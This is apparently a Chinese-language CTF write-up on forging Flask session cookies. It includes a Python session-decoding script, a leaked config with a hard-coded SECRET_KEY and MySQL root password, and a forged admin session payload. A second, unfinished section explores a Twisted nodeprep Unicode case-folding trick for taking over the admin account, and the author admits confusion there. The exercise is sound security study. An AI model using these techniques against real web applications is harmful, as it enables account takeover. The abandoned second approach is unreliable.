flask中session伪造
前言
做题
题目页面,注册,登录两个窗口,先注册进去,进去之后有index,post,change password,logout四个功能窗口,在change password页面查看源码时发现了提示源码网站.
思路一
对于flask框架,其session是以cookie的形式存储在客户端的,所以造成了session可读,我们只要用网上的session解密脚本就可实现读取,解密读取之后我们知道了它的格式
比如:
{'_fresh': True, '_id': b'95d3b3cd79b0faa83832344b7912541e88d445d7b5d9420b09e1db77c768cc53467588bee26e8aa59a56b7894ebff266fd9d73ac10e87b3fc934ad815b1aec3f', 'csrf_token': b'01653cb0c99bd2c59551ea514544d421501448ca', 'image': b'nvO9', 'name': '123', 'user_id': '10'}
但我们此时要伪造admin用户,我们就可以将name改成123然后再加密进行session伪造,但是怎样加密呢,这里需要知道secret_key
才能进行加密伪造
session解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
我们在题目的config.py里看到它的密钥是'ckj123'
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
payload伪造的session
{'_fresh': True, '_id': b'2ff34a5077d2f711c7aa5fb35b61ebe2d8cf4081a56609f46c43d95e51de0efa5713b6d78b48664e4d4bbf4aabb1fd6b6484b97d2b48997ce7a83878b78781d1', 'csrf_token': b'44463a5670f0c0ad61ab0d2dc0ae725a14808b81', 'image': b'MAuE', 'name': 'admin', 'user_id': '10'}
session加密
得到admin的session,然后替换session即可得到flag.
思路二
在python中自带lower
函数将大写字母转换为小写,我们注意到代码中出现了个strtolower
,我们仔细审计下这个函数
def strlower(username):
username = nodeprep.prepare(username)
return username
这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0
,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞
使用nodeprep.prepare函数转换时过程如下:
ᴬ=>A=>a
啊这这里是python的flask框架,不熟悉,代码审计很迷,但是还是可以勉强审计出,注册,登录,改密码的时候都会调用strtolower
函数,也就是我们注册是用ᴬdmin
,那么存储到数据库就是Admin
,不对,不是这样,裂开,不会,以后来填这个坑。